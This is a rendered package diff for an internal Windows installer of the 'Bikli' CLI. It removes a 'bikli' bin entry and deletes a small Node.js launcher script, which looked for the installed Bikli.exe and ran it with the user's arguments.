"description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
|
|
5
5
|
"license": "BSD-3-Clause",
|
|
6
6
|
"publishConfig": {
|
|
@@ -11,8 +11,7 @@
|
|
|
11
11
|
],
|
|
12
12
|
"bin": {
|
|
13
13
|
"biklimaster": "bin/biklimaster.js",
|
|
14
|
-
"bikliwrapper": "lib/bikliwrapper.js"
|
|
15
|
-
"bikli": "bin/bikli.js"
|
|
14
|
+
"bikliwrapper": "lib/bikliwrapper.js"
|
|
16
15
|
},
|
|
17
16
|
"files": [
|
|
18
17
|
"bin",
|
package/bin/bikli.js
DELETED
|
@@ -1,44 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
|
-
'use strict';
|
|
3
|
-
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const path = require('path');
|
|
6
|
-
const { spawnSync } = require('child_process');
|
|
7
|
-
|
|
8
|
-
function installedBikliPath() {
|
|
9
|
-
const candidates = [
|
|
10
|
-
path.join(process.env.ProgramW6432 || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
|
|
11
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli', 'Bikli.exe'),
|
|
12
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli', 'Bikli.exe'),
|
|
13
|
-
path.join(process.env.LOCALAPPDATA || 'C:\\Users\\Default\\AppData\\Local', 'Programs', 'Bikli', 'Bikli.exe'),
|
|
14
|
-
path.join(process.env.USERPROFILE || 'C:\\Users\\Default', 'AppData', 'Local', 'Programs', 'Bikli', 'Bikli.exe')
|
|
15
|
-
];
|
|
16
|
-
const found = candidates.find(candidate => fs.existsSync(candidate));
|
|
17
|
-
if (found) return found;
|
|
18
|
-
try {
|
|
19
|
-
const whereResult = spawnSync('where.exe', ['bikli.exe'], { encoding: 'utf8', windowsHide: true });
|
|
20
|
-
if (whereResult.status === 0 && whereResult.stdout) {
|
|
21
|
-
const firstLine = whereResult.stdout.trim().split(/\r?\n/)[0];
|
|
22
|
-
if (firstLine && fs.existsSync(firstLine)) return firstLine;
|
|
23
|
-
}
|
|
24
|
-
} catch {}
|
|
25
|
-
return '';
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
const bikliExe = installedBikliPath();
|
|
29
|
-
if (!bikliExe) {
|
|
30
|
-
console.error('Bikli CLI is not installed. Run "biklimaster install" to install it.');
|
|
31
|
-
process.exit(1);
|
|
32
|
-
}
|
|
33
|
-
|
|
34
|
-
const result = spawnSync(bikliExe, process.argv.slice(2), {
|
|
35
|
-
stdio: 'inherit',
|
|
36
|
-
windowsHide: false
|
|
37
|
-
});
|
|
38
|
-
|
|
39
|
-
if (result.error) {
|
|
40
|
-
console.error(`Failed to run Bikli CLI: ${result.error.message}`);
|
|
41
|
-
process.exit(1);
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
process.exit(result.status === null ? 1 : result.status);
|